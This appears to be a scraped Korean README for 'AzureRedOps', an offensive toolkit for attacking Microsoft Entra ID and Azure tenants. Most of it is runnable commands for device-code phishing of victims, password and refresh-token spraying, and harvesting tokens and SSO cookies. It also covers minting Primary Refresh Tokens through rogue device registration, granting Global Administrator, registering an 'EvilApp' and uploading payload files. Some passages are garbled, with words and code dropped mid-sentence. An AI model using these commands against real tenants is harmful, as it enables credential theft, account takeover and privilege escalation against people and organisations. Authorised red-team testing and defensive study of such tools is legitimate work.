
Azure RedOps는 Microsoft Entra ID의 보안 태세를 평가하기 위한 공격적 보안 도구 키트입니다.
Azure/Entra ID 레드 팀을 위한 스위스 군용 칼
저자: Mr.Un1k0d3r (TrueCyber Inc) 버전: 0.1 언어: Python 3.12+
AzureRedOps는 Microsoft Entra ID 및 Azure 테넌트의 보안 상태를 평가하기 위한 공격적 보안 툴킷입니다.
가장 일반적인 레드 팀 워크플로(인증, 토큰 관리, 디렉터리 열거, 권한 확인, 비밀번호 스프레이, Microsoft Graph에 대한 사후 침투 작업)를 일관된 --activity 기반 CLI 아래에 통합합니다.
모든 작업은 -a/--activity로 선택합니다. 인증 과정에서 획득한 토큰은 로컬(.azure_creds)에 캐시하고 -l/--load-access-token으로 이름별로 재사용할 수 있으므로 원시 JWT를 붙여넣을 필요가 거의 없습니다.
도구에 대한 자세한 내용은 CYPFER 블로그에서 확인하세요.
.azure_creds)에서 액세스/갱신 토큰을 저장, 나열, 디코드/보기, 삭제합니다. 모든 흐름은 -s/--save + -n/--name을 사용하여 토큰을 자동으로 영구 저장할 수 있습니다.auth) — 직접 사용자 이름/비밀번호 인증.phish-start / phish-capture) — OAuth 장치 인증 부여를 악용하여 대상이 microsoft.com/devicelogin에 사용자 코드를 입력하면 발급되는 토큰을 캡처합니다. 기본적으로 자동 캡처.auth-app) — 사용자 정의 애플리케이션 등록에 대한 전체 인증 코드 + PKCE 흐름으로, 리디렉션을 수신하는 내장 로컬 HTTPS 리스너가 제공됩니다.auth-interactive) — 실제 브라우저(Playwright; 기본 Firefox, -br로 전환)를 구동하여 (MFA/조건부 액세스/SSO 처리) 기록된 세션 HAR에서 모든 토큰을 수집합니다.refresh) — 갱신 토큰을 새로운 액세스 토큰으로 교환합니다.obo) — 이미 발급된 액세스 토큰을 다운스트림 리소스에 대한 새 토큰으로 교환합니다(OAuth 2.0 jwt-bearer / OBO).browser-sso) — 대상 웹 앱(Outlook 웹, Teams, SharePoint, Azure 포털 등)에 실제 브라우저를 엽니다. 를 사용하면 갱신 토큰에서 쿠키를 자동으로 생성하므로(장치 등록 → PRT → ), 새로운 브라우저가 수동 로그인 없이 Single Sign-On을 완료합니다.gather-all.spray) 및 교차 앱 갱신 토큰 스프레이 (spray-refresh).magic-app은 AllPrincipals 동의가 있는 공개 리디렉션 가능 앱을 찾습니다. 알려진/흥미로운 Microsoft 앱 ID의 내장 목록이 포함되어 있습니다.requirements.txt 참조):
PyJWTrequestsplaywrightcryptography (browser-sso -aprt, 자동 PRT 흐름에만 필요)auth-interactive, browser-sso)을 위한 Playwright 브라우저 런타임. Firefox가 기본 엔진(-br/--browser); 설치하려면 python -m playwright install firefox 실행.includes/web/cert.pem 및 includes/web/key.pem의 TLS 인증서 + 키 (auth-app PKCE 흐름에만 필요 — 참조).git clone AzureRedOps cd AzureRedOps
python3 -m venv AzureRedOps source AzureRedOps/bin/activate # Linux / macOS
pip install -r requirements.txt
python -m playwright install firefox
도구 실행:```bash
python3 AzureRedOps.py -a <activity> [options]
일반적인 호출 패턴은 다음과 같습니다:```bash python3 AzureRedOps.py -a [authentication] [activity options] [global options]
### 토큰 제공
Microsoft Graph를 호출하는 활동에는 액세스 토큰이 필요합니다. 두 가지 방법으로 제공할 수 있습니다:
| 방법 | 플래그 | 예시 |
|--------|------|---------|
| 원시 토큰 전달 | `-ac, --access-token` | `-ac eyJ0eXAi...` |
| 캐시된 토큰을 이름으로 로드 | `-l, --load-access-token` | `-l mytoken` |
`-l`을 사용하면 일치하는 `access_token`(및 해당되는 경우 `refresh_token`과 `tenant`)이 `.azure_creds` 저장소에서 읽힙니다.
### 파일에 토큰 저장 (`-s` / `-n`)
토큰을 획득하는 모든 활동(`auth`, `auth-app`, `auth-interactive`, `phish-start`/`phish-capture`, `refresh`)은 `-s/--save`와 `-n/--name`을 함께 추가하여 로컬 자격 증명 저장소(`.azure_creds`)에 **자동으로 저장**할 수 있습니다:```bash
# Authenticate and save the resulting tokens under the name "victim1"
python3 AzureRedOps.py -a auth -u [email protected] -p 'P@ssw0rd!' -tid <tenant-guid> -s -n victim1
-s/--save는 자동 저장을 켭니다; -n/--name이 필요합니다 — -n이 없으면 도구가 오류와 함께 종료됩니다.-n/--name은 토큰이 저장되는 키입니다. 이후에 원시 JWT를 붙여넣는 대신 -l victim1로 재사용하거나, -a view -n victim1으로 확인하거나, -a delete -n victim1으로 삭제할 수 있습니다.auth-interactive 활동은 항상 자동 저장되며, -n이 제공되지 않으면 대화식으로 이름을 입력하라는 메시지가 표시됩니다.-j)대부분의 열거 활동(list-users, list-applications, list-principals,
gather-all, raw-url)은 -j/--json <filename>을 허용하여 원시 API 응답을 출력하는 대신(또는 추가로) JSON 파일에 기록합니다.```bash
python3 AzureRedOps.py -a list-users -l victim1 -j users.json
`gather-all`의 경우 제공된 파일명이 접미사로 사용되며 Graph 엔드포인트 당 하나의 파일이 기록됩니다(예: `users-<name>`, `groups-<name>`, ...).
> 팁: `-j`는 구조화된 JSON 내보내기를 제어하고, `-re/--redirect-to-file`은 형식화된 콘솔 출력을 `output.txt`로 미러링합니다. 두 기능은 서로 독립적입니다.
### 테넌트 식별자
- `-t, --tenant`는 **도메인 이름**(예: `contoso.com`)을 기대하며 `id` 활동에 사용됩니다.
- `-tid, --tenant-id`는 **테넌트 GUID** 또는 `common`을 기대하며 인증 활동에 사용됩니다.
---
## 명령줄 옵션
| 짧은 옵션 | 긴 옵션 | 기본값 | 설명 |
|-------|------|---------|-------------|
| `-a` | `--activity` | `id` | **(필수)** 수행할 활동([활동](#activities) 참조). |
| `-ac` | `--access-token` | | Azure 액세스 토큰. |
| `-n` | `--name` | | 토큰 저장/로드에 사용할 이름, 또는 `register-app`/`new-group`/`invite`의 표시 이름. |
| `-t` | `--tenant` | | Azure 테넌트 **도메인** 이름(`id`에서 사용). |
| `-c` | `--devicecode` | | 장치 코드(`phish-capture`에서 사용). |
| `-tid` | `--tenant-id` | | Azure 테넌트 **ID**(GUID) 또는 `common`. |
| `-app` | `--appid` | `d3590ed6-52b3-4102-aeff-aad2292ab01c` | 애플리케이션(클라이언트) ID. |
| `-e` | `--endpoint` | `microsoftonline.com` | 대상 로그인 엔드포인트 도메인. |
| `-r` | `--refresh-token` | | 인증 갱신 토큰. |
| `-as` | `--auto-start` | `True` | `phish-start` 후 자동으로 장치 코드 캡처 시작. |
| `-l` | `--load-access-token` | | `.azure_creds`에서 이름으로 캐시된 토큰 로드. |
| `-j` | `--json` | | 활동 출력을 지정된 JSON 파일에 저장. |
| `-fl` | `--filter` | | 키가 지정된 항목 중 하나와 일치하는 속성만 출력(쉼표로 구분). |
| `-u` | `--username` | | 사용자 계정 이름(이메일). |
| `-p` | `--password` | | 사용자 비밀번호. |
| `-s` | `--save` | `False` | 획득한 토큰을 `.azure_creds`에 자동 저장(**`-n` 필요**). |
| `-cp` | `--check-privileges` | `False` | 성공적인 스프레이 로그인 후 사용자/앱을 열거할 수 있는지 확인. |
| `-uid` | `--uid` | | Azure 사용자 개체 ID(`add-group`에서 사용). |
| `-headers` | `--headers` | | 추가 HTTP 헤더(JSON 형식), 예: `{"X-Foo": "bar"}`. |
| `-gid` | `--gid` | `62e90394-69f5-4237-91f9-056ad24d70a7` | 디렉터리 역할/그룹 ID(기본값 = **전역 관리자**). |
| `-i` | `--id` | `False` | `interest`의 경우: 애플리케이션 ID만 출력. |
| `-ty` | `--type` | | `interest`의 경우: 특정 범주로 필터링. |
| `-fp` | `--filepath` | | 업로드할 파일(`push-file`) 또는 스프레이용 사용자 지정 앱 목록. |
| `-v` | `--version` | `v2.0` | 인증 API 버전: `v0` 또는 `v2.0`. |
| `-ua` | `--user-agent` | *(Chrome UA 문자열)* | HTTP `User-Agent` 재정의. |
| `-au` | `--audience` | `https://graph.microsoft.com` | 토큰 대상/리소스. |
| `-sc` | `--scope` | `openid offline_access` | OAuth2 범위. Graph의 경우 `https://graph.microsoft.com/.default`, 스프레이의 경우 `openid` 사용. |
| `-url` | `--url` | | `raw-url`/`invite`의 대상 URL; `auth-interactive`의 경우 쉼표로 구분된 URL 목록. |
| `-beta` | `--beta` | `False` | `list-users`/`list-applications`에서 Microsoft Graph **beta** 엔드포인트 사용. |
| `-exp` | `--expand` | `False` | 중첩된 목록/딕셔너리를 사람이 읽을 수 있는 형식으로 확장하여 출력. |
| `-k` | `--keep` | `False` | `auth-interactive` / `browser-sso` 후 `session.har` 파일 유지. |
| `-cs` | `--client-secret` | | `obo`(On-Behalf-Of) 권한 부여에 사용되는 기밀 클라이언트 비밀. |
| `-prt` | `--prt-cookie` | | `browser-sso`의 브라우저 SSO를 시드하는 PRT 쿠키 값(`x-ms-RefreshTokenCredential`). |
| `-br` | `--browser` | `firefox` | 브라우저 흐름(`auth-interactive`, `browser-sso`)에 사용할 Playwright 브라우저 엔진. `firefox`, `chromium`, `webkit` 중 하나. |
| `-aprt` | `--auto-prt` | `False` | `browser-sso`의 경우: 갱신 토큰에서 PRT 쿠키를 자동 생성(장치 등록 → PRT → `x-ms-RefreshTokenCredential`)하여 브라우저가 **이미 인증된 상태**로 열리도록 합니다. `cryptography`와 FOCI/브로커 갱신 토큰이 필요합니다. |
| `-d` | `--debug` | `False` | 디버그 로깅 활성화. |
| `-dd` | `--verbose-debug` | `False` | 상세 HTTP 요청/응답 로깅 활성화. |
| `-re` | `--redirect-to-file` | `False` | 모든 콘솔 출력을 `output.txt`로 미러링. |
---
## 활동
아래에서 각 활동은 **필수** 및 *선택* 인수를 나열합니다.
"토큰"은 `-ac` 또는 `-l`이 필요함을 의미합니다.
### 토큰 관리
| 활동 | 필수 | 선택 | 설명 |
|----------|----------|----------|-------------|
| `save` | `-ac`, `-n` | `-tid`, `-r` | 액세스 토큰(및 선택적으로 갱신 토큰)을 `.azure_creds`에 저장. |
| `list-token` | — | — | 저장된 모든 토큰의 이름 나열. |
| `view` | `-n` | — | 저장된 토큰의 JWT 클레임 디코딩 및 표시. |
| `delete` | `-n` | — | 저장소에서 토큰 제거. |```bash
# Save a token under the name "mytoken"
python3 AzureRedOps.py -a save -n mytoken -ac eyJ0eXAi... -r 0.AReAB... -tid <tenant-guid>
# List, view, delete
python3 AzureRedOps.py -a list-token
python3 AzureRedOps.py -a view -n mytoken
python3 AzureRedOps.py -a delete -n mytoken
python3 AzureRedOps.py -a id -t contoso.com
python3 AzureRedOps.py -a phish-start -tid common -app d3590ed6-52b3-4102-aeff-aad2292ab01c
python3 AzureRedOps.py -a phish-capture -c -tid common
python3 AzureRedOps.py -a auth -u [email protected] -p 'P@ssw0rd!' -tid
python3 AzureRedOps.py -a auth-interactive -url https://portal.azure.com -s -n harvested
python3 AzureRedOps.py -a refresh -l mytoken -app d3590ed6-52b3-4102-aeff-aad2292ab01c
python3 AzureRedOps.py -a obo -l mytoken -tid -app -cs -au https://graph.microsoft.com
python3 AzureRedOps.py -a browser-sso -l mytoken -url outlook -prt
#### 인증 흐름 작동 방식
AzureRedOps는 토큰을 획득하는 여러 가지 방법을 구현합니다. 작업에 맞는 방법을 선택하세요. 모든 방법은 자동 저장을 위해 `-s/-n` 플래그를 지원합니다.
##### 장치 코드 피싱 (`phish-start` / `phish-capture`)
OAuth 2.0 **장치 권한 부여**는 입력이 제한된 장치를 위해 설계되었으며, 이를 통해 강력한 피싱 프리미티브를 제공합니다. Microsoft 자사 애플리케이션을 대신하여 코드를 요청한 후, 대상이 자신의 계정에 로그인한 상태에서 `https://microsoft.com/devicelogin`에 해당 코드를 입력하도록 사회공학적으로 유도합니다. 대상이 코드를 입력하면 토큰이 **사용자에게** 발급됩니다.
- `phish-start`는 장치 코드를 요청하고 **사용자 코드**, 로그인 URL, 원시 **장치 코드**를 출력합니다. `-as/--auto-start`가 기본적으로 `True`로 설정되어 있으므로, 즉시 토큰을 폴링하기 시작합니다. 따라서 `phish-start`를 실행하고 대상에게 사용자 코드를 전달하는 것만으로도 일반적으로 충분합니다.
- `phish-capture`는 수동 버전입니다. 이전에 `-c/--devicecode`로 얻은 장치 코드를 입력하면, 피해자가 로그인을 완료할 때까지 토큰 엔드포인트를 폴링합니다(권한 부여가 보류 중인 동안 도구가 자동으로 재시도합니다).
- `-app/--appid`를 사용하여 특정 자사 클라이언트를 가장하고, `-tid/--tenant-id`를 사용하여 테넌트(기본값 `common`)로 범위를 지정합니다. 팁: 범위를 `'https://graph.microsoft.com/.default offline_access openid'`로 설정하면 새로 고침 토큰이 포함된 Graph 준비 토큰을 얻을 수 있습니다.```bash
# Start a device-code session (auto-captures the token once the victim logs in)
python3 AzureRedOps.py -a phish-start -tid common -s -n phished
# Or capture against a code you generated separately
python3 AzureRedOps.py -a phish-capture -c <device-code> -tid common -s -n phished
auth-app)auth-app는 타사(기본값이 아닌) 애플리케이션 등록에 대해 완전한 PKCE를 사용한 인증 코드 흐름을 수행합니다. 이 도구는 OAuth 리디렉션 URI 역할을 하는 로컬 HTTPS 리스너(includes/Webserver.py, https://localhost:2342)를 시작하고, PKCE code_verifier/code_challenge 쌍을 생성한 후, 브라우저에서 열 수 있는 인증 URL을 출력합니다. 동의 후, Azure는 인증 코드를 로컬 리스너로 리디렉션하고, 도구는 이를 토큰으로 교환합니다.
이는 사용자가 애플리케이션을 제어(또는 등록)하고 실제 브라우저 세션을 통해 동의를 유도하려는 경우에 사용하는 흐름입니다. 불법 동의 스타일 시나리오나 ROPC가 차단된 경우에 유용합니다.
includes/web/cert.pem 및
includes/web/key.pem에 TLS 인증서/키 쌍이 필요합니다(생성 방법은 참고 참조).8545b2fc-a69c-4851-9206-0f74a519fe5f입니다.```bash
python3 AzureRedOps.py -a auth-app -tid -s -n consented##### 대화형 브라우저 인증 (`auth-interactive`)
`auth-interactive`는 **Playwright를 통한 실제 브라우저**를 실행합니다 (기본값은 Firefox; `-br/--browser`로 엔진 선택 가능) 그리고 운영자(또는 공유 세션의 대상)가 대화형 로그인을 완료할 수 있게 합니다 — 스크립트 기반 흐름으로는 처리할 수 없는 MFA, 조건부 액세스, 페더레이션/SSO 리디렉션을 포함합니다. 전체 브라우저 세션은 HAR 파일(`session.har`)에 기록됩니다; 그런 다음 도구는 해당 캡처를 파싱하여 `/oauth2/v2.0/token` 엔드포인트에서 발견된 **모든** 액세스/리프레시 토큰 쌍을 추출하고, 각 JWT를 디코딩한 후 저장할 토큰을 선택하도록 합니다.
- `-url/--url`는 로그인 페이지 로드 후 이동할 페이지를 설정합니다. **쉼표로 구분된 URL 목록** (예: `https://portal.azure.com,https://outlook.office.com`)을 허용하여 한 세션에서 여러 리소스에 대한 토큰을 수집할 수 있습니다. 기본값은 `https://portal.azure.com`입니다.
- 이 작업은 **항상 자동 저장**됩니다: 수집 후, 보관할 토큰 인덱스와 저장할 이름을 묻습니다.
- `-k/--keep`를 추가하면 오프라인 분석을 위해 `session.har`를 보존합니다 (기본적으로 삭제됨).```bash
# Log in interactively and harvest tokens for two resources
python3 AzureRedOps.py -a auth-interactive -url https://portal.azure.com,https://outlook.office.com -k
obo)obo는 OAuth 2.0 On-Behalf-Of 흐름(grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer)을 구현합니다.
이미 발급된 액세스 토큰을 어설션으로 받아 사용자를 다시 인증하지 않고 다른 다운스트림 리소스로 범위가 지정된 새로운 토큰으로 교환합니다.
-ac/--access-token 또는 -l/--load-access-token을 통해 캐시된 토큰으로 제공됩니다.-app/--appid + -cs/--client-secret은 교환을 수행하는 **기밀 클라이언트(confidential client)**를 식별합니다. Entra ID는 이 클라이언트가 어설션 토큰의 **대상(audience, aud)**이어야 하며, 불일치 시 AADSTS500131/AADSTS50013 오류가 발생합니다.-au/--audience(기본값 https://graph.microsoft.com, <audience>/.default로 변환) 또는 -sc/--scope를 사용한 전체 범위로 설정됩니다.-s/-n 설정을 따릅니다.```bashpython3 AzureRedOps.py -a obo -l mytoken -tid
-app -cs -au https://graph.microsoft.com -s -n obo-graph
##### 토큰-브라우저 단일 로그온 (`browser-sso`)
`browser-sso`는 **이미 사용자로 인증된 실제 브라우저**를 엽니다 — 아무것도 클릭하지 않고 바로 내부로 들어갑니다. 예를 들어, **Outlook 웹**이 있습니다. 이것은 "그냥 브라우저를 열고 유효한 세션을 얻는" 흐름입니다. 브라우저는 선호하는 순서대로 다음 세 가지 방법 중 하나로 세션을 얻습니다:
**1. `-aprt/--auto-prt` — PRT 쿠키 자동 생성 (권장).**
리프레시 토큰은 도구에 의해 **기본 리프레시 토큰(PRT)** 및 해당 브라우저 쿠키로 완전히 변환된 다음, Entra의 ESTS가 수동 로그인 없이 SSO를 완료하도록 시드됩니다. 체인(`includes/PRT.py`, ROADtoken / roadtx / AADInternals 프로토콜)은 다음과 같습니다:
1. 디바이스 등록(DRS) 토큰에 대한 리프레시 토큰을 교환합니다.
2. Azure AD에 **디바이스를 등록**합니다 → 디바이스 인증서 + 전송 키.
3. 디바이스 인증서로 서명된 리프레시 토큰으로 **PRT + 세션 키**를 요청합니다.
4. **`x-ms-RefreshTokenCredential` 쿠키를 파생**합니다 (KDFv2: `SHA256(ctx‖decoded-payload-bytes)`에 대한 SP800-108 KDF → HS256 서명된 JWT; KDFv1 → `AADSTS5000611`, 잘못된 바이트 → `AADSTS50058`) 그리고 새 브라우저 컨텍스트에 시드합니다.
쿠키는 `SameSite=None`으로 시드되고 **최상위 ESTS `/authorize` 웜업**(Office `landingv2` 클라이언트)을 통해 소비되어 `ESTSAUTH` 세션 쿠키가 퍼스트 파티로 생성됩니다 — 이후 대상 앱이 이미 로그인된 상태로 열립니다. 쿠키는 탐색 직전에 새로운 난스로 파생되고 한 번 재시도됩니다. SSO가 계속 완료되지 않으면 도구는 `prompt=none`을 프로브하고 정확한 `AADSTS` 이유를 출력합니다 (예: 규정 준수/관리 디바이스 또는 MFA를 요구하는 조건부 액세스 — 새로 등록된 디바이스로는 우회할 수 없음).
PRT, 세션 키 및 쿠키가 출력됩니다 (바로 붙여넣을 수 있는 `-prt "<value>"` 힌트 포함) 따라서 체인을 다시 실행하지 않고 나중에 재사용할 수 있습니다.
> **`-aprt`에 대한 요구 사항 및 작전 보안:**
> - **`cryptography`** 패키지가 필요합니다 (`pip install cryptography`; `requirements.txt`에 있습니다).
> - 리프레시 토큰은 **FOCI / 브로커 클라이언트**에 속해야 합니다 — 예: **Microsoft 인증 브로커에 대한 디바이스 코드 피싱**(`29d9ed98-a469-4536-ade2-f981bc1d605e`)으로 캡처된 것, 이는 SharePoint/OneDrive 디바이스 코드 유인책이 정확히 생성하는 것입니다. 기본 `-app`(Microsoft Office FOCI 클라이언트)도 작동합니다.
> - **디바이스 등록은 테넌트에 디바이스 개체를 기록합니다** — 조용하지 않으며 아티팩트를 남깁니다 (그리고 사용자가 디바이스를 조인/등록할 수 있는 권한이 필요합니다).
**2. `-prt/--prt-cookie` — 이미 가지고 있는 PRT 쿠키를 시드합니다.**
이미 `x-ms-RefreshTokenCredential` 값(이전 `-aprt` 실행, 또는 손상된 호스트에서 `ROADtoken`/`browsercore` 또는 `Mimikatz`를 통해 얻은)을 보유하고 있다면 직접 전달하고 생성 체인을 건너뜁니다.
**3. 둘 다 아님 — 토큰을 변환하고 수동으로 로그인 (대체 방식).**
PRT 쿠키가 없으면 리프레시 토큰이 리소스 범위의 액세스/리프레시 토큰으로 교환되고 (`-s/-n`으로 출력 및 저장됨), 브라우저가 대상에서 열려 수동으로 로그인을 완료할 수 있습니다.
**PRT / 세션 쿠키 수집.** 브라우저 세션이 종료되면(자동 종료 시간 초과 또는 창을 닫음), `browser-sso`는 라이브 브라우저 컨텍스트를 읽고 **발행된 모든 재사용 가능한 SSO 쿠키를 출력합니다** — PRT 쿠키(`x-ms-RefreshTokenCredential`) 및 ESTS 세션 쿠키(`ESTSAUTH`, `ESTSAUTHPERSISTENT`, ...) — 각각 바로 붙여넣을 수 있는 `-prt` 힌트와 함께 제공되어 다음에 재생할 수 있습니다. 쿠키는 세션이 활성화된 동안 폴링되므로 창을 일찍 닫아도 값이 캡처됩니다. 동일한 수집이 `auth-interactive`의 끝에서 실행됩니다.
- `-url/--url`은 대상을 선택합니다. 친숙한 사전 설정 — `outlook`, `office`, `teams`, `sharepoint`, `onedrive`, `portal`, `graph` — 또는 하나 이상의 원시 `https://` URL(쉼표로 구분)을 전달합니다. 기본값은 `outlook`입니다.
- `-r/--refresh-token` + `-tid` (또는 캐시된 `-l`)는 리프레시 토큰을 제공합니다. `-app/--appid`는 기본적으로 Microsoft Office FOCI 클라이언트로 설정됩니다.
- `-br/--browser`는 Playwright 엔진을 선택합니다 (기본값 Firefox).
- `-k/--keep`는 브라우저 세션의 `session.har` 기록을 보존합니다.```bash
# BEST: auto-mint a PRT from a device-code-phished (broker) token and drop straight
# into an authenticated Outlook on the web — no manual login.
python3 AzureRedOps.py -a browser-sso -l phished -url outlook -aprt
# Seed a PRT cookie you already have
python3 AzureRedOps.py -a browser-sso -l mytoken -url outlook -prt <x-ms-RefreshTokenCredential>
# Target Teams from a raw refresh token, auto-mint the PRT, keep the session recording
python3 AzureRedOps.py -a browser-sso -r 0.AReAB... -tid <tenant-guid> -url teams -aprt -k
python3 AzureRedOps.py -a self -l mytoken
python3 AzureRedOps.py -a list-users -l mytoken -beta -j users.json -fl displayName,userPrincipalName
python3 AzureRedOps.py -a register-app -n EvilApp -l mytoken
python3 AzureRedOps.py -a add-group -uid -l mytoken
python3 AzureRedOps.py -a push-file -fp ./payload.docx -n payload.docx -l mytoken
python3 AzureRedOps.py -a raw-url -url "https://graph.microsoft.com/beta/users" -l mytoken
python3 AzureRedOps.py -a invite -n [email protected] -url https://example.com/invite -l mytoken
python3 AzureRedOps.py -a magic-app -l mytoken
### Password Spraying
| Activity | Required | Optional | Description |
|----------|----------|----------|-------------|
| `spray` | `-u`, `-p`, `-tid` | `-fp`, `-cp` | 알려진 퍼스트파티 앱 ID (v0 및 v2.0 API)에 대해 자격 증명을 스프레이합니다. |
| `spray-refresh` | `-v`, and (`-l`) **or** (`-r` + `-tid`) | `-fp`, `-cp` | 여러 앱 ID에 대해 리프레시 토큰을 재생합니다. |
기본적으로 두 활동 모두 `includes/auth_apps.json`을 앱 소스로 사용합니다. `-fp`로 재정의할 수 있습니다. `-cp`를 추가하면 각 성공적인 로그인에서 사용자/앱을 열거할 수 있는지 테스트합니다.```bash
# Spray a single credential across first-party apps
python3 AzureRedOps.py -a spray -u [email protected] -p 'P@ssw0rd!' -tid <tenant-guid> -cp
# Cross-app refresh spraying from a saved token
python3 AzureRedOps.py -a spray-refresh -l mytoken -v v2.0
## Output & Generated Files
| File | Created by | Description |
|------|-----------|-------------|
| `.azure_creds` | Token-saving activities | 액세스/갱신 토큰을 이름별로 키로 하는 로컬 JSON 캐시. |
| `output.txt` | `-re` flag | 모든 콘솔 출력의 타임스탬프가 포함된 미러. |
| `session.har` | `auth-interactive` / `browser-sso` | 브라우저 세션 기록(`-k`가 설정되지 않으면 삭제됨). |
| `<name>.json` | `-j` flag / `gather-all` | 저장된 API 응답. |
### Bundled data files
| File | Description |
|------|-------------|
| `includes/auth_apps.json` | 스프레이 및 `interest` 목록에 사용되는 대상 애플리케이션 ID. |
| `includes/apps.json` | `knownids`에 사용되는 알려진 Microsoft 앱 ID 및 메타데이터. |
| `includes/Webserver.py` | `auth-app`의 PKCE 리디렉션을 구현하는 로컬 HTTPS 리스너. |
| `includes/PRT.py` | PRT 발급 체인(장치 등록 → PRT → `x-ms-RefreshTokenCredential` 쿠키)으로 `browser-sso -aprt`에서 사용됨. |
| `includes/web/cert.pem`, `includes/web/key.pem` | 로컬 리스너의 TLS 자료. |
---
## Notes & Tips
- **기본 앱 ID**(`d3590ed6-52b3-4102-aeff-aad2292ab01c`)는 Microsoft Office 자사 클라이언트로, 대부분의 흐름에서 작동합니다. 일부 활동에서 출력되는 힌트는 더 넓은 액세스를 위해 **Microsoft Azure CLI** 앱(`04b07795-8ddb-461a-bbee-02f9e1bf7b46`)으로 토큰을 확장할 것을 제안합니다.
- **범위(Scope) 지침:** 비밀번호 스프레이에는 `-sc openid`를 사용하고 Graph 작업에는 `-sc 'https://graph.microsoft.com/.default'`를 사용하세요.
- **`--beta`**는 `list-users` / `list-applications`를 Graph 베타 엔드포인트로 전환하여 추가 정보(예: 온프레미스 동기화 속성)를 표시할 수 있습니다.
- **`auth-app` TLS:** 로컬 PKCE 리스너는 `includes/web/cert.pem` 및 `includes/web/key.pem`에 인증서/키 쌍이 필요합니다. 없으면 자체 서명된 쌍을 생성하세요. 예: ```bash
openssl req -x509 -newkey rsa:2048 -nodes \
-keyout includes/web/key.pem -out includes/web/cert.pem -days 365 -subj "/CN=localhost"
-d는 상위 수준 디버그 정보를 출력하며, -dd는 전체 HTTP 요청과 응답(헤더 + 본문)을 덤프합니다 — 토큰 교환 실패를 진단할 때 유용합니다.-br/--browser). 브라우저 흐름(auth-interactive, browser-sso)은 헤드드 Playwright 브라우저를 실행합니다. 엔진 기본값은 firefox (WSLg에서 가장 안정적인 헤드드 엔진)입니다. -br chromium 또는 -br webkit으로 전환하세요. 선택한 엔진을 python -m playwright install <engine>으로 한 번 설치하십시오./dev/dxg, d3d12 Mesa 드라이버로 구동)를 노출하며, 브라우저의 GPU/합성 프로세스가 이를 사용하려고 시도하는 반면, WSL VM의 기본 /dev/shm은 매우 작습니다(종종 64MB). 이 두 가지가 결합되어 — GPU 프로세스가 구동할 수 없는 장치에서 회전하고 공유 메모리 합성기가 /dev/shm을 소진하여 — 아무것도 렌더링되지 않고 VM이 팽창하여 Windows 호스트가 thrashing 상태가 됩니다. 두 번째 기여 요인은 였습니다. Microsoft 로그인 페이지가 long-poll을 수행하므로 이 절대 발생하지 않아 탐색이 타임아웃까지 빈 페이지에서 차단됩니다.
Mr.Un1k0d3r — TrueCyber Inc. 제작.
-aprt/--auto-prtx-ms-RefreshTokenCredential| 활동 | 필수 | 선택 | 설명 |
|---|
id | -t | — | 주어진 이메일 도메인에 대한 테넌트 ID를 확인합니다. |
phish-start | — | -app, -tid, -as, -s, -n | 장치 코드 흐름을 시작합니다; 사용자 코드를 출력하고 (기본적으로) 자동 캡처합니다. |
phish-capture | -c | -app, -tid, -s, -n | 이전에 발급된 장치 코드를 사용하여 토큰을 폴링합니다. |
auth | -u, -p, -tid, -app, -v | -s, -n | 사용자 이름/비밀번호로 인증합니다 (ROPC). |
auth-app | -tid | -s, -n | 로컬 HTTPS 리스너를 통한 인증 코드 + PKCE 흐름. |
auth-interactive | — | -url, -k, -n | 브라우저(Playwright)를 실행하고 사용자가 로그인하도록 한 다음 세션 HAR에서 토큰을 수집합니다. 항상 자동 저장됩니다. |
refresh | -v, -app, and (-l) or (-r + -tid) | -s, -n | 리프레시 토큰을 새 액세스 토큰으로 교환합니다. |
obo | -tid, -app, and (-ac) or (-l) | -cs, -au, -sc, -s, -n | On-Behalf-Of: 발급된 액세스 토큰을 다른 리소스에 범위가 지정된 토큰으로 교환합니다. |
browser-sso | -app, and (-l) or (-r + -tid) | -aprt, -url, -prt, -v, -k, -s, -n | 이미 사용자로 인증된 브라우저를 엽니다. -aprt를 추가하여 리프레시 토큰에서 PRT 쿠키를 자동으로 생성하거나, -prt로 준비된 쿠키를 시드하거나, 토큰 변환 + 수동 로그인으로 대체합니다. |
| 활동 | 필수 | 선택 | 설명 |
|---|
self | 토큰 | — | 현재 사용자의 프로필(/me)을 표시합니다. |
email | 토큰, -fl | — | 로그인한 사용자의 사서함에서 키워드를 검색합니다. |
permission | 토큰 | — | 테넌트 권한 부여 정책을 표시합니다(베타). |
list-users | 토큰 | -j, -beta, -fl, -exp | 모든 사용자를 열거합니다. |
list-applications | 토큰 | -j, -beta, -fl, -exp | 모든 애플리케이션을 열거합니다. |
list-principals | 토큰 | -j, -fl, -exp | 모든 서비스 주체를 열거합니다. |
register-app | 토큰, -n | — | 새 애플리케이션을 등록합니다(1년 클라이언트 비밀 포함). |
new-group | 토큰, -n | — | 새 보안 그룹을 만듭니다. |
add-group | 토큰, -uid | -gid | 주체에 디렉터리 역할을 할당합니다(기본 역할 = 전역 관리자). |
push-file | 토큰, -fp, -n | — | 로컬 파일을 사용자의 OneDrive에 업로드합니다. |
gather-all | 토큰 | -j | 사용자, 그룹, 앱, SP, 역할, 정책 및 권한을 대량 수집합니다. |
raw-url | 토큰, -url | -j, -fl, -exp | 모든 Graph/REST URL에 원시 GET 요청을 보냅니다(@odata.nextLink 페이지 매김 처리). |
invite | 토큰, -n | -url | 외부(게스트) 사용자를 초대합니다. -n은 초대 대상자의 이메일입니다. |
magic-app | 토큰 | — | AllPrincipals 동의, appRoleAssignmentRequired=false, 공용 리디렉션 URI가 있는 앱을 찾습니다. |
| 활동 | 필수 | 선택 | 설명 |
|---|
knownids | — | -fl, -exp | 알려진 Microsoft 애플리케이션 ID 목록 (includes/apps.json). |
list-interest | — | — | includes/auth_apps.json에 정의된 앱 카테고리 목록. |
interest | — | -i, -ty | 흥미로운 앱 ID 목록; -i는 ID만 출력, -ty는 카테고리별로 필터링. |
| python3 AzureRedOps.py -a knownids | |||
| python3 AzureRedOps.py -a list-interest | |||
| python3 AzureRedOps.py -a interest -ty all_users | |||
| python3 AzureRedOps.py -a interest -i # IDs only |
